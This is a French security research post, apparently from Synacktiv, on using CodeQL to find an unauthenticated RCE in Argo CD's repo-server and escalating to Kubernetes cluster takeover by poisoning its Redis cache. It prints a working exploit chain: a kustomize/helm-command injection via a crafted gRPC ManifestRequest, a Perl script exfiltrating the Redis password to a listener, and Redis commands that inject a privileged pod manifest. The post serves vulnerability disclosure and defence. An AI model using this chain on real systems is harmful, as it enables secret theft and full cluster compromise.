Incident de sécurité ? Suspicion de compromission ? 09 71 18 27 69csirt@synacktiv.com

Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL

Rédigé par Hugo Vincent - 01/07/2026 - dans Pentest - Téléchargement
Synacktiv a découvert une vulnérabilité d'exécution de code arbitraire sans authentification dans le composant repo-server d'ArgoCD, permettant potentiellement la compromission totale du cluster. Cet article explique comment la vulnérabilité a été identifiée à l'aide de CodeQL, détaille le processus d'exploitation pour prendre le contrôle du cluster Kubernetes sous-jacent, et présente un outil pour automatiser l'attaque.

Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus

Introduction

Au cours des années Synacktiv a publié plusieurs articles12345 concernant les vulnérabilités et les erreurs de configuration liées à l'intégration et au déploiement continus (CI/CD). La plupart d'entre eux se concentraient sur les systèmes de gestion de configuration logicielle (SCM) tels que GitHub, GitLab et Azure DevOps. Ces systèmes intègrent leur propre système CI/CD pour aider les équipes et les développeurs en appliquant l'automatisation lors de la phase de build, des tests et du déploiement des applications.

L'un des outils les plus populaires pour déployer des applications et des services dans un cluster Kubernetes est Argo CD. En 2023, Argo CD a réalisé un sondage et 93 % des personnes interrogées ont déclaré utiliser Argo CD dans leurs environnements de production. Argo CD offre une solution simplifiée pour le déploiement d'applications et repose sur le paradigme GitOps. GitOps est une approche moderne du déploiement d'infrastructures et d'applications qui s'appuie sur les dépôts Git comme source unique de vérité. En utilisant l'Infrastructure as Code (IaC), cette approche garantit que les configurations d'infrastructure sont appliquées automatiquement, offrant ainsi un moyen déclaratif et efficace de gérer les clusters Kubernetes.

Pour fonctionner efficacement et déployer des ressources dans des clusters Kubernetes, Argo CD nécessite des privilèges importants au sein du cluster. De plus, il a accès à des dépôts Git privés, ce qui en fait une cible attrayante pour les attaquants.

L'architecture d'Argo CD

L'architecture d'Argo CD est assez simple :

 

Argo CD Architecture diagram

 

Le serveur API expose l'API gRPC/REST utilisée par l'interface web et l'interface en ligne de commande. Il traite les requêtes liées à la gestion des applications, telles que la création, la mise à jour et la suppression d'applications, ainsi que leur synchronisation avec l'état souhaité stocké dans les dépôts Git. Cela est déclenché par des événements webhook Git. Il est également responsable de la gestion de l'authentification et de l'autorisation via des politiques RBAC. Ce composant doit gérer certains secrets comme les identifiants de clusters et de dépôts, ce qui est réalisé via les secrets Kubernetes.

Le contrôleur d'application surveille en permanence l'état réel des applications déployées dans les clusters Kubernetes. Il compare cet état réel avec l'état souhaité défini dans le dépôt Git et s'assure que les deux sont synchronisés. Si des divergences sont détectées, le contrôleur peut déclencher les actions nécessaires pour réconcilier les états, telles que le déploiement de nouvelles ressources ou l'annulation de modifications.

Le serveur de dépôts (repository server), qui est le composant vulnérable, est chargé d'interagir avec les dépôts Git pour récupérer les manifestes d'application, les charts Helm et d'autres configurations de ressources Kubernetes. Il agit comme un pont entre Argo CD et le système de contrôle de version, garantissant que les modifications dans le dépôt sont détectées et appliquées au cluster Kubernetes. Une fois les données récupérées depuis les dépôts Git, un manifeste Kubernetes est généré et renvoyé pour déployer les ressources.

Une base de données Redis est également présente, bien qu'elle ne soit pas représentée dans le diagramme. Cette base de données a pour tâche de stocker des informations en cache, telles que les manifestes. De plus, la documentation mentionne que certains secrets générés par des plugins peuvent être mis en cache dans cette base de données :

Argo CD met en cache les manifestes générés par les plugins, ainsi que les secrets injectés, dans son instance Redis. Ces manifestes sont également disponibles via l'API du repo-server (un service gRPC). Cela signifie que les secrets sont accessibles à toute personne ayant accès à l'instance Redis ou au repo-server.

 

Ajout des RemoteFlowSources dans CodeQL

Argo CD est un projet Golang d'envergure qui compte plus de 238 000 lignes de code. Auditer manuellement une base de code de cette taille à la recherche de vulnérabilités est non seulement incroyablement chronophage, mais aussi très sujet à l'erreur humaine. Pour y remédier, nous nous sommes tournés vers CodeQL afin d'obtenir une vue d'ensemble de la base de code et de commencer à cartographier les différents composants de l'application.

CodeQL est un analyseur de code statique très puissant qui permet d'analyser le code en effectuant des requêtes, ce qui le rend extrêmement utile lors de la recherche de vulnérabilités dans un contexte de boîte blanche. Il vous permet de rechercher des schémas de vulnérabilité en créant de nouvelles requêtes ou en utilisant celles qui existent déjà. De plus, l'analyse des flux de données de CodeQL permet de suivre les données à travers les appels de fonction, une fonctionnalité particulièrement utile pour détecter les vulnérabilités d'injection comme celle que nous allons examiner.

Si vous ne connaissez pas l'outil ou si vous souhaitez simplement un petit rappel, nous vous recommandons vivement de consulter nos précédents travaux de recherche avec CodeQL6. Il constitue un excellent rappel des bases avant de nous plonger dans les requêtes personnalisées que nous avons écrites pour ce projet.

CodeQL met à disposition des requêtes de sécurité, il est peu probable que leur exécution produise des résultats. En effet, l'équipe de sécurité d'Argo CD a déjà mis en place un workflow GitHub Actions pour exécuter CodeQL sur leur base de code :

CodeQL workflow.

Pour améliorer les fonctionnalités par défaut, il est possible d'ajouter de nouvelles requêtes et des packs de modèles (model packs) à partir des dépôts GitHub suivants :

  • GitHubSecurityLab/CodeQL-Community-Packs7
  • trailofbits/codeql-queries8

La requête githubsecuritylab/audit/attack-surface de GitHubSecurityLab peut être utilisée pour commencer à analyser une base de code avant d'exécuter la moindre requête de sécurité :

import semmle.go.security.FlowSources

from RemoteFlowSource::Range source
where not source.getFile().getRelativePath().matches("%/test/%")
select source, "remote", source.getFile().getRelativePath(), source.getStartLine(),
  source.getEndLine(), source.getStartColumn(), source.getEndColumn()

Son objectif est de cartographier tous les RemoteFlowSource au sein du projet. Un RemoteFlowSource désigne toute donnée pouvant être manipulée par un utilisateur externe, telle qu'un paramètre GET, un en-tête ou un fichier (lors de l'analyse d'un outil en ligne de commande).

Voici quelques résultats :

CodeQL RemoteFlowSource.

CodeQL a identifié certains RemoteFlowSource, tels que le corps d'une requête. Cependant, pour obtenir des résultats plus pertinents, nous souhaitons localiser les objets Go créés lorsqu'un utilisateur effectue une requête HTTP vers l'API. En procédant ainsi, nous pouvons éviter de gérer la complexité liée à la transformation de la requête en un objet JSON, puis en un objet Go. Cette approche améliore les capacités de suivi des données de CodeQL en commençant l'analyse au plus près du point d'injection (sink).

Par exemple, avec la fonction the GetGitFiles nous aimerions indiquer à CodeQL que le paramètre request est un élément que nous pouvons contrôler :

func GetGitFiles.

Où l'objet GitFilesRequest est extrait du JSON:

Request object.

En examinant toutes les fonctions, il est possible d'identifier rapidement un schéma :

$ rg -i 'func .*Context'
server/repository/repository.go
73:func (s *Server) getRepo(ctx context.Context, url, project string) (*appsv1.Repository, error) {
91:func (s *Server) getConnectionState(ctx context.Context, url string, project string, forceRefresh bool) appsv1.ConnectionState {
125:func (s *Server) List(ctx context.Context, q *repositorypkg.RepoQuery) (*appsv1.RepositoryList, error) {
130:func (s *Server) Get(ctx context.Context, q *repositorypkg.RepoQuery) (*appsv1.Repository, error) {

server/applicationset/applicationset.go
118:func (s *Server) Get(ctx context.Context, q *applicationset.ApplicationSetGetQuery) (*v1alpha1.ApplicationSet, error) {
137:func (s *Server) List(ctx context.Context, q *applicationset.ApplicationSetListQuery) (*v1alpha1.ApplicationSetList, error) {
183:func (s *Server) Create(ctx context.Context, q *applicationset.ApplicationSetCreateRequest) (*v1alpha1.ApplicationSet, error) {

reposerver/repository/repository.go
183:func (s *Service) ListRefs(ctx context.Context, q *apiclient.ListRefsRequest) (*apiclient.Refs, error) {
206:func (s *Service) ListApps(ctx context.Context, q *apiclient.ListAppsRequest) (*apiclient.AppList, error) {
240:func (s *Service) ListPlugins(ctx context.Context, _ *empty.Empty) (*apiclient.PluginList, error) {
515:func (s *Service) GenerateManifest(ctx context.Context, q *apiclient.ManifestRequest) (*apiclient.ManifestResponse, error) {

Pour chaque fonction Go ayant un receveur de type Server ou Service [1] et dont le premier paramètre est de type context.Context [2], nous pouvons raisonnablement supposer que le deuxième paramètre [3] est contrôlable par l'utilisateur. Par conséquent, nous pouvons indiquer à CodeQL de le traiter comme un RemoteFlowSource. Notez que cette heuristique n'est pas parfaite et peut renvoyer des faux positifs.

Cela peut être modélisé dans CodeQL avec les classes suivantes :

import go

class TargetReceiver extends Type {
    TargetReceiver(){
        this.getName() = ["Server", "Service"] /* [1] */
    }
}

class ApiMethods extends Method {
    ApiMethods(){
        this.getReceiverBaseType() instanceof TargetReceiver and
        /* The first parameter of the target method has type context.Context */
        this.getParameter(0).getType().hasQualifiedName("context", "Context") /* [2] */
    }
}

class UntrustedParameter extends Parameter {
    UntrustedParameter(){
        /* We tag the 2nd parameter of such method as untrusted */
        exists(Method m | m instanceof ApiMethods and m.getParameter(1) = this) /* [3] */
    }
}

Pour garantir que toutes les requêtes CodeQL intègrent notre nouveau RemoteFlowSource, nous pouvons tirer parti de la puissante fonctionnalité des packs de modèles de CodeQL9. Cette fonctionnalité nous permet de personnaliser notre analyse en modélisant le comportement d'éléments spécifiques de bibliothèques ou de frameworks, tels que les fonctions, les champs et les paramètres. Ce faisant, nous élargissons les sources et les sinks potentiels suivis lors de l'analyse des flux de données, ce qui améliore la précision de nos résultats.

Dans notre cas, nous souhaitons ajouter des sources supplémentaires, ce qui se réalise à l'aide de fichiers YAML. Voici l'exemple tiré de la documentation :

extensions:
  - addsTo:
      pack: codeql/go-all
      extensible: sourceModel
    data:
      - ["net/http", "Request", True, "FormValue", "", "", "ReturnValue", "remote", "manual"]

Ce modèle introduit un RemoteFlowSource (sourceModel), permettant à CodeQL de suivre la valeur de retour de la fonction FormValue du paquet net/http.

En appliquant cela à notre exemple précédent, cela donnerait le résultat suivant pour la fonction GetGitFiles :

- [ "github.com/argoproj/argo-cd/v2/reposerver/repository", "Service", True, "GetGitFiles", "", "", "Parameter[1]", "remote", "manual" ]

Nous souhaitons ajouter le 2ème paramètre de la fonction GetGitFiles avec le récepteur Service comme nouvelle source à suivre. Cette opération doit être réalisée sur toutes les méthodes identifiées.

En nous basant sur la classes CodeQL UntrustedParameter précédente, nous pouvons tout générer automatiquement en utilisant la requête suivante:

from Parameter p, Method m
where p instanceof UntrustedParameter and
m.getParameter(1) = p
select "\"" + m.getReceiverBaseType().getPackage().toString().suffix(8) + "\", \""+ m.getReceiverBaseType() +"\", True, \"" + m.getName() + "\", \"\", \"\", \"Parameter[1]\", \"remote\", \"manual\""
Model pack auto generation.

Pour certains langages, cela peut être réalisé avec la fonctionnalité d'édition de modèle de VSCode.

Avec ce nouveau pack de modèles, nous pouvons réexécuter la requête de GitHubSecurityLab afin de vérifier la détection de nouveaux RemoteFlowSources :

New sources.

Maintenant que l'on peut modeler correctement et de manière optimisée les différentes sources, il est possible de trouver des vulnerabilités. Par exemple, des injections de commandes.

Découverte de RCE avec CodeQL

Tout d'abord, ayant déjà rencontré un problème de tainting avec Golang lors de recherches antérieures, nous avons pu tirer parti de ce travail et ajouter les modèles suivants pour assurer le suivi des données au sein de os/exec :

  - addsTo:
      pack: codeql/go-all
      extensible: sinkModel
    data:
      - ["os/exec", "", False, "Command", "", "", "Argument[0]", "command-injection", "manual"]
      - ["os/exec", "", False, "Command", "", "", "Argument[1]", "command-injection", "manual"]
      - ["os/exec", "", False, "CommandContext", "", "", "Argument[1]", "command-injection", "manual"]

Cela permettra de suivre les vulnérabilités d'injection de commandes dans la fonction Command si des données taintées circulent vers le premier ou le deuxième paramètre.

L'exécution de toutes les requêtes de sécurité avec notre pack de modèles révèle de multiples vulnérabilités d'injection de commandes :

$ codeql database analyze /.../argo-cd-v2.13.3 --additional-packs /.../argocd-cd-ext/ --model-packs="synacktiv/argocd-cd-ext@latest" --format=sarif-latest --output=/.../argo-cd-ext.sarif --rerun go-sec.qls
CodeQL paths.

La plupart d'entre elles se terminent dans le fichier kustomize.go:

File: kustomize.go
244: 		if opts.Namespace != "" {
245: 			cmd := exec.Command(k.getBinaryPath(), "edit", "set", "namespace", "--", opts.Namespace)
[...]
311: 			args := []string{"edit", "add", "component"}
312: 			args = append(args, opts.Components...)
313: 			cmd := exec.Command(k.getBinaryPath(), args...)
[...]
325: 	if kustomizeOptions != nil && kustomizeOptions.BuildOptions != "" {
326: 		params := parseKustomizeBuildOptions(k.path, kustomizeOptions.BuildOptions, buildOpts)
327: 		cmd = exec.Command(k.getBinaryPath(), params...)

Kustomize est un outil utilisé au sein de l'écosystème Kubernetes pour gérer et personnaliser les manifestes Kubernetes. Il permet aux utilisateurs de définir un ensemble de ressources Kubernetes de base, puis d'appliquer des superpositions pour modifier ces ressources sans changer les fichiers d'origine.

Après des investigations plus approfondies, nous n'avons pas pu obtenir d'exécution de code arbitraire à travers les différents points de chute. Beaucoup sont restreints, limitant la possibilité d'exploiter certains arguments, et seuls quelques arguments sont contrôlables. Dans l'un de ses résultats, CodeQL indique que l'objet kustomizeOptions peut être contrôlé (ligne 325).

Cette structure contient des champs intéressants :

type KustomizeOptions struct {
	// BuildOptions is a string of build parameters to use when calling `kustomize build`
	BuildOptions string `protobuf:"bytes,1,opt,name=buildOptions"`
	// BinaryPath holds optional path to kustomize binary
	BinaryPath string `protobuf:"bytes,2,opt,name=binaryPath"`
}

Le champ BinaryPath est utilisé lors de l'initialisation :

case v1alpha1.ApplicationSourceTypeKustomize:
	kustomizeBinary := ""
	if q.KustomizeOptions != nil {
		kustomizeBinary = q.KustomizeOptions.BinaryPath
	}
	k := kustomize.NewKustomizeApp(repoRoot, appPath, q.Repo.GetGitCreds(gitCredsStore), repoURL, kustomizeBinary, q.Repo.Proxy, q.Repo.NoProxy)

Si cette valeur n'est pas vide, elle remplacera le binaire kustomize par défaut dans la fonction getBinaryPath :

func (k *kustomize) getBinaryPath() string {
	if k.binaryPath != "" {
		return k.binaryPath
	}
	return "kustomize"
}

La fonction parseKustomizeBuildOption est ensuite appelée :

func parseKustomizeBuildOptions(path string, buildOptions string, buildOpts *BuildOpts) []string {
	buildOptsParams := append([]string{"build", path}, strings.Fields(buildOptions)...)
[...]

Cela signifie que si nous contrôlons la structure KustomizeOptions, nous pourrions exécuter une commande similaire à la suivante :

exec.Command("controlled", []string{"build", "path", "controlledArgument1", "controlledArgument2"...})

Même si les deux premiers arguments ne sont pas controllable via KustomizeOptions, cela semble prometteur.

Néanmoins, la structure KustomizeOptions n'est pas exposée aux utilisateurs finaux via la définition de l'API. Elle est définie lors de l'initialisation du serveur Argo CD et ne peut pas être modifiée via l'API ou l'interface web. La modification de ce paramètre nécessite de modifier le manifeste Argo CD, ce qui nécessite des privilèges sur le cluster. Plus de détails peuvent être trouvés dans la documentation.

La source de ce chemin provient de la méthode suivante, ce qui correspond à notre pack de modèles où nous devrions contrôler le deuxième paramètre :

func (s *Service) GenerateManifest(ctx context.Context, q *apiclient.ManifestRequest) (*apiclient.ManifestResponse, error)

La fonction vulnérable réside dans le composant repo-server. Dans ce processus, un utilisateur initie un appel d'API au serveur API demandant la génération de manifeste. Le serveur API transfère ensuite certains paramètres de la requête d'origine, et si un administrateur a défini la structure KustomizeOptions, elle est intégrée dans une requête gRPC envoyée au repo-server sur le point de terminaison /repository.RepoServerService/GenerateManifest.

Cependant, nous avons découvert que le serveur gRPC exposé par le repo-server ne possède pas d'authentification :

$ curl -kis -H 'Content-Type: application/grpc' https://argo-cd.local:8081/repository.RepoServerService/GenerateManifest
HTTP/2 405
content-type: application/grpc
grpc-status: 13
grpc-message: Received a HEADERS frame with :method "GET" which should be POST

Cela signifie que si nous pouvons y accéder (détails à ce sujet plus tard), nous pouvons obtenir une exécution de code à distance sans authentification en fournissant nos propres KustomizeOptions.

Stratégie d'exploitation

La stratégie d'exploitation est assez simple, il nous suffit de faire un appel gRPC avec les paramètres requis. Cependant, obtenir l'exécution de code arbitraire en invoquant un binaire arbitraire avec la chaîne de caractères codée en dur "build" comme deuxième argument n'est pas trivial. L'exploitation via le champ BuildOptions a été privilégiée car le binaire kustomize inclut certains paramètres qui peuvent permettre l'exécution de script arbitraire :

$ kustomize build --help
      --enable-helm                     Enable use of the Helm chart inflator generator.
      --helm-command string             helm command (path to executable) (default "helm")
[...]

Lorsqu'un utilisateur crée une application Argo CD, un appel d'API est effectué avec une URL pointant vers un dépôt Git qui contient les informations de déploiement pour le cluster. Argo CD récupère le contenu du dépôt et détermine comment construire le manifeste Kubernetes. S'il détecte l'utilisation de kustomize dans le dépôt, le binaire kustomize sera utilisé pour générer le manifeste. Cela nous donne le contrôle sur tous les fichiers gérés par kustomize, car nous pouvons spécifier n'importe quelle URL Git arbitraire au serveur de dépôts.

En fin de compte, cela permet l'exécution de quelque chose comme ceci :

$ kustomize build pathWithControlledFiles --enable-helm --helm-command ./exfil.sh

Cela est possible car Argo CD récupère les fichiers du dépôt Git, et l'exécution se produit dans le dossier du dépôt téléchargé.

Avant de détailler l'exploit dans son intégralité, faisons une petite pause pour récapituler :

  • Nous pouvons effectuer un appel gRPC non authentifié à GenerateManifest, ce qui appellera kustomize;

  • Un dépôt Git arbitraire sera récupéré dans le répertoire courant;

  • Nous contrôlons les options de build via KustomizeOptions;

  • Nous pouvons exécuter des commandes arbitraires avec --help-command.

Dans le dépôt Git, un fichier kustomization.yaml est stocké :

helmCharts:
- name: pwn
  version: 0.0.1

Accompagné d'un script bash :

#!/bin/sh
perl exfil.pl

Bien que l'environnement du serveur de dépôts soit limité à quelques binaires, Perl est accessible. Nous avons utilisé le script Perl suivant pour exfiltrer la variable d'environnement REDIS_PASSWORD vers un serveur distant :

#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;

my $remote_host = '127.0.0.1';
my $remote_port = 4444;

my $env_var = "REDIS_PASSWORD";
my $data_to_send = $ENV{$env_var};

my $socket = IO::Socket::INET->new(
    PeerAddr => $remote_host,
    PeerPort => $remote_port,
    Proto    => 'tcp',
) or die "Failed to connect to $remote_host:$remote_port - $!";

print $socket $data_to_send;
$socket->close();

Enfin, l'objet ManifestRequest suivant est envoyé au serveur gRPC :

manifestReq := &apiclient.ManifestRequest{
	Repo: &v1alpha1.Repository{
		Repo: "https://github.com/hugo-syn/pwn",
	},
	Revision:  "HEAD",
	AppName:   "pwn",
	Namespace: "random",
	ApplicationSource: &v1alpha1.ApplicationSource{
		RepoURL:   "https://127.0.0.1",
		Kustomize: &v1alpha1.ApplicationSourceKustomize{},
	},
	ProjectName:        "ProjectName",
	ProjectSourceRepos: []string{"*"},
	KustomizeOptions: &v1alpha1.KustomizeOptions{
		//BinaryPath: "/tmp/kustomize.sh",
		BuildOptions: "--enable-helm --helm-command ./exfil.sh",
	},
}

Et on obtient un reverse shell:

$ nc -lp 4444
NTvg13Rnb5VRK8ia

Pour aller plus loin : prise de contrôle du cluster via le serveur Redis

En 2024, Cycode a publié10 un article de blog détaillant une vulnérabilité critique qu'ils ont découverte dans Argo CD. Ils ont découvert que la base de données Redis était accessible sans authentification. Dans leur article, ils ont décrit comment ils ont pu compromettre le cluster sous-jacent uniquement en interagissant avec Redis, sans fournir de preuve de concept. Dans cette section, nous expliquerons comment nous avons réalisé une compromission similaire du cluster Kubernetes. Dans leur exemple, ils ont configuré une application Argo CD avec un paramètre spécifique appelé selfHeal, qui n'est pas activée par défaut. Cependant, nous avons trouvé un moyen d'exploiter cette vulnérabilité sans cette option spécifique en manipulant certaines entrées dans la base de données.

Selon la documentation d'Argo CD, la base de données Redis est uniquement utilisée pour stocker des données en cache pour l'application. Les données au sein de la base de données ne sont pas persistantes et sont reconstruites lorsque le pod est redémarré :

Redis est uniquement utilisé comme un cache jetable et peut être perdu. En cas de perte, il sera reconstruit sans interruption de service.

Nous avons initialement tenté de reproduire le scénario d'exploitation décrit par Cycode. Dans leur article, ils expliquent que les données stockées dans la base de données Redis sont sauvegardées sous forme d'objets JSON puis encodées avec gzip. Nous avons créé argo-cdown pour intéragir avec les différents composants d'ArgoCD. Voici un exemple de ce que l'on peut trouver à l'intérieur de la base de données :

$ argo-cdown redis --server 127.0.0.1 --password NTvg13Rnb5VRK8ia --list-data
INFO[2025-02-24 16:54:57] Displaying all data
INFO[2025-02-24 16:54:57] Key: revisionmetadata|https://github.com/kubernetes-sigs/kustomize|447a60903cd142948443a6bd441b2749ad643815|1.8.3.gz
INFO[2025-02-24 16:54:57] Key: app|resources-tree|legitapp|1.8.3.gz
INFO[2025-02-24 16:54:57] Key: cluster|info|https://kubernetes.default.svc|1.8.3.gz
INFO[2025-02-24 16:54:57] Key: revisionmetadata|https://github.com/kubernetes-sigs/kustomize|160de8ce76c69b646ee6fb96a88d94bba4e1964a|1.8.3.gz
INFO[2025-02-24 16:54:57] Key: mfst|app.kubernetes.io/instance|legitapp|447a60903cd142948443a6bd441b2749ad643815|argocd|4090143128|1.8.3.gz
INFO[2025-02-24 16:54:57] Key: git-refs|https://github.com/kubernetes-sigs/kustomize|1.8.3.gz
INFO[2025-02-24 16:54:57] Key: app|managed-resources|legitapp|1.8.3.gz
INFO[2025-02-24 16:54:57] Key: appdetails|447a60903cd142948443a6bd441b2749ad643815|2307065304|label|1.8.3.gz

$ argo-cdown redis --server 127.0.0.1 --password NTvg13Rnb5VRK8ia --get-data 'cluster|info|https://kubernetes.default.svc|1.8.3.gz'
INFO[2025-02-26 14:39:38] Key: cluster|info|https://kubernetes.default.svc|1.8.3.gz
INFO[2025-02-26 14:39:38] Value: {
  "connectionState": {
    "status": "Successful",
    "message": "",
    "attemptedAt": "2025-02-26T13:39:29Z"
  },
  "serverVersion": "1.32",
  "cacheInfo": {
    "resourcesCount": 387,
    "apisCount": 50,
    "lastCacheSyncTime": "2025-02-26T13:38:35Z"
  },
  "applicationsCount": 1,
[...]

Ils ont identifié que l'application effectuait des requêtes récurrentes vers une clé spécifique commençant par mfst. Cette clé contient tous les manifestes associés à l'application déployée. Si l'option selfHeal est activée et qu'un nouveau manifeste est ajouté, Argo CD détectera la modification et la déploiera automatiquement sur le cluster.

Voici un exemple de ce qui est stocké dans une clé mfst :

$ argo-cdown redis --server 127.0.0.1 --password NTvg13Rnb5VRK8ia --get-data 'mfst|app.kubernetes.io/instance|no-selfheal|25a0482ce72f083dcc0194a5c76867658a59271a|argocd|1663176825|1.8.3.gz'
INFO[2025-02-25 16:48:24] Key: mfst|app.kubernetes.io/instance|no-selfheal|25a0482ce72f083dcc0194a5c76867658a59271a|argocd|1663176825|1.8.3.gz
INFO[2025-02-25 16:48:24] Value: {
  "cacheEntryHash": "9rlFbJFoK1I=",
  "manifestResponse": {
    "manifests": [
      "{\"apiVersion\":\"v1\",\"kind\":\"Service\",\"metadata\":{\"labels\":{\"app\":\"helm-guestbook-edited-2\",\"app.kubernetes.io/instance\":\"no-selfheal\",\"chart\":\"helm-guestbook-edited-2-0.1.0\",\"heritage\":\"Helm\",\"release\":\"no-selfheal\"},\"name\":\"no-selfheal-helm-guestbook-edited-2\"},\"spec\":{\"ports\":[{\"name\":\"http\",\"port\":80,\"protocol\":\"TCP\",\"targetPort\":\"http\"}],\"selector\":{\"app\":\"helm-guestbook-edited-2\",\"release\":\"no-selfheal\"},\"type\":\"ClusterIP\"}}",
      "{\"apiVersion\":\"apps/v1\",\"kind\":\"Deployment\",\"metadata\":{\"labels\":{\"app\":\"helm-guestbook-edited-2\",\"app.kubernetes.io/instance\":\"no-selfheal\",\"chart\":\"helm-guestbook-edited-2-0.1.0\",\"heritage\":\"Helm\",\"release\":\"no-selfheal\"},\"name\":\"no-selfheal-helm-guestbook-edited-2\"},\"spec\":{\"replicas\":1,\"revisionHistoryLimit\":3,\"selector\":{\"matchLabels\":{\"app\":\"helm-guestbook-edited-2\",\"release\":\"no-selfheal\"}},\"template\":{\"metadata\":{\"labels\":{\"app\":\"helm-guestbook-edited-2\",\"release\":\"no-selfheal\"}},\"spec\":{\"containers\":[{\"image\":\"gcr.io/heptio-images/ks-guestbook-demo:0.1\",\"imagePullPolicy\":\"IfNotPresent\",\"livenessProbe\":{\"httpGet\":{\"path\":\"/\",\"port\":\"http\"}},\"name\":\"helm-guestbook-edited-2\",\"ports\":[{\"containerPort\":80,\"name\":\"http\",\"protocol\":\"TCP\"}],\"readinessProbe\":{\"httpGet\":{\"path\":\"/\",\"port\":\"http\"}},\"resources\":{}}]}}}}"
    ],
    "revision": "25a0482ce72f083dcc0194a5c76867658a59271a",
    "sourceType": "Helm",
    "commands": [
      "helm template . --name-template no-selfheal [...] --include-crds"
    ]
  },
  "mostRecentError": "",
  "firstFailureTimestamp": 0,
  "numberOfConsecutiveFailures": 0,
  "numberOfCachedResponsesReturned": 0
}

Notre application est construite sur ce dépôt, qui déploie principalement une application factice dans le cluster. La seule option spécifique activée est la fonctionnalité Auto Sync, qui vérifie périodiquement les divergences entre les ressources déployées dans le cluster et la dernière version dans le dépôt Git. Cependant, puisque l'option selfHeal n'est pas activée, Argo CD ne devrait modifier les ressources que s'il y a des changements dans le dépôt Git. Dans notre scénario d'exploitation, nous supposons que nous n'avons aucun privilège sur le dépôt. Notez que si l'option Auto Sync n'est pas activée, l'exploitation ne réussirait que lorsqu'un utilisateur effectue manuellement l'opération de synchronisation sur l'application.

Dans les étapes suivantes, l'objectif sera de déployer un manifeste arbitraire sur le cluster pour le compromettre. Pour illustrer cela, nous utiliserons un exemple du projet BadPods11. Le manifeste est converti en JSON à l'aide de la commande suivante :

$ kubectl convert -f everything-allowed-exec-deployment.yaml --output=json > manifest-evil.json

Si nous tentons d'ajouter un manifeste dans l'entrée en cache au sein de Redis sans les options selfHeal, cela aboutira à l'état suivant :

$ argo-cdown redis --server 127.0.0.1 --password NTvg13Rnb5VRK8ia --add-manifest 'mfst|app.kubernetes.io/instance|legitapp|447a60903cd142948443a6bd441b2749ad643815|argocd|4090143128|1.8.3.gz' --manifest manifest-evil.json
OutOfSync app.

Dans ce scénario, puisque le SHA1 du commit du dépôt Git correspond au SHA1 du commit des ressources déployées dans le cluster, l'application ne sera pas automatiquement synchronisée.

Après quelques recherches, nous avons trouvé l'entrée suivante dans la base de données Redis :

$ argo-cdown redis --server 127.0.0.1 --password NTvg13Rnb5VRK8ia --get-data 'git-refs|https://github.com/hugo-syn/argocd-example-apps/|1.8.3.gz'
INFO[2025-02-25 16:47:18] Key: git-refs|https://github.com/hugo-syn/argocd-example-apps/|1.8.3.gz
INFO[2025-02-25 16:47:18] Value: [
  [
    "refs/heads/master",
    "25a0482ce72f083dcc0194a5c76867658a59271a"
  ],
  [
    "HEAD",
    "ref: refs/heads/master"
  ]
]

Elle stocke le SHA1 du commit du projet, et dans notre cas, le projet est synchronisé avec la révision HEAD. En modifiant cette valeur pour faire référence à un commit précédent, la prochaine opération Auto Sync incitera Argo CD à détecter une révision HEAD plus récente, qui correspond à la valeur d'origine. Il cherchera alors dans la base de données une entrée en cache associée à ce commit. Si une entrée est trouvée, précisément celle où nous avons ajouté notre nouveau manifeste, elle sera automatiquement appliquée puisque les valeurs SHA1 des commits sont différentes.

Voici une représentation visuelle de l'attaque :

Redis exploit.

Avec notre outil, nous pouvons exécuter l'intégralité du scénario. La première étape consiste à ajouter le nouveau manifeste à l'entrée mfst.

$ argo-cdown redis --server 127.0.0.1 --password NTvg13Rnb5VRK8ia --add-manifest 'mfst|app.kubernetes.io/instance|no-selfheal|25a0482ce72f083dcc0194a5c76867658a59271a|argocd|1663176825|1.8.3.gz' --manifest manifest-evil.json
INFO[2025-02-25 16:48:16] Updating manifest
INFO[2025-02-25 16:48:16] Manifest updated

Ensuite, il faut modifier ou ajouter l'entrée git-ref associée :

$ argo-cdown redis --server 127.0.0.1 --password NTvg13Rnb5VRK8ia --set-data 'git-refs|https://github.com/hugo-syn/argocd-example-apps/|1.8.3.gz' --data raw.json
INFO[2025-02-25 16:47:26] Modifying raw data of key :git-refs|https://github.com/hugo-syn/argocd-example-apps/|1.8.3.gz
INFO[2025-02-25 16:47:26] Done

$ cat raw.json
[
  [
    "HEAD",
    "ref: refs/heads/master"
  ],
  [
    "refs/heads/master",
    "ba44faf0a7ebe6b4716df30b17fba5b6d64f1106"
  ]
]

Après un court laps de temps, le manifeste malveillant sera déployé :

Deployed manifest.

À ce stade, un attaquant serait en mesure de déployer des manifestes arbitraires dans le cluster, et ainsi de le compromettre.

Protections

Pour exploiter cette vulnérabilité, un attaquant aurait besoin d'accéder à la fois au port gRPC du repo-server et au port de la base de données Redis, qui ne devraient pas être exposés aux utilisateurs. Argo CD fournit également des politiques réseau Kubernetes spécifiquement conçues pour empêcher ce scénario :

spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/name: argocd-repo-server
  policyTypes:
    - Ingress
  ingress:
    - from:
        - podSelector:
            matchLabels:
              app.kubernetes.io/name: argocd-server
        - podSelector:
            matchLabels:
              app.kubernetes.io/name: argocd-application-controller
        - podSelector:
            matchLabels:
              app.kubernetes.io/name: argocd-notifications-controller
        - podSelector:
            matchLabels:
              app.kubernetes.io/name: argocd-applicationset-controller
      ports:
        - protocol: TCP
          port: 8081

Cependant, nous avons constaté que ces politiques ne sont pas appliquées lorsqu'Argo CD est déployé via Helm. Dans ce scénario, un attaquant n'aurait besoin de compromettre qu'un seul pod dans le cluster pour exploiter la vulnérabilité :

  # Default network policy rules used by all components
  networkPolicy:
    # -- Create NetworkPolicy objects for all components
    create: false
    # -- Default deny all ingress traffic
    defaultDenyIngress: false

Helm est un gestionnaire de paquets couramment utilisé pour Kubernetes, à l'instar de pip pour Python.

L'application de ces politiques devrait empêcher ce scénario d'exploitation, ce qui peut être vérifié avec la commande suivante :

$ kubectl get networkpolicy -A
NAMESPACE   NAME                                              POD-SELECTOR                                              AGE
argocd      argocd-application-controller-network-policy      app.kubernetes.io/name=argocd-application-controller      29d
argocd      argocd-applicationset-controller-network-policy   app.kubernetes.io/name=argocd-applicationset-controller   29d
argocd      argocd-dex-server-network-policy                  app.kubernetes.io/name=argocd-dex-server                  29d
argocd      argocd-notifications-controller-network-policy    app.kubernetes.io/name=argocd-notifications-controller    29d
argocd      argocd-redis-network-policy                       app.kubernetes.io/name=argocd-redis                       29d
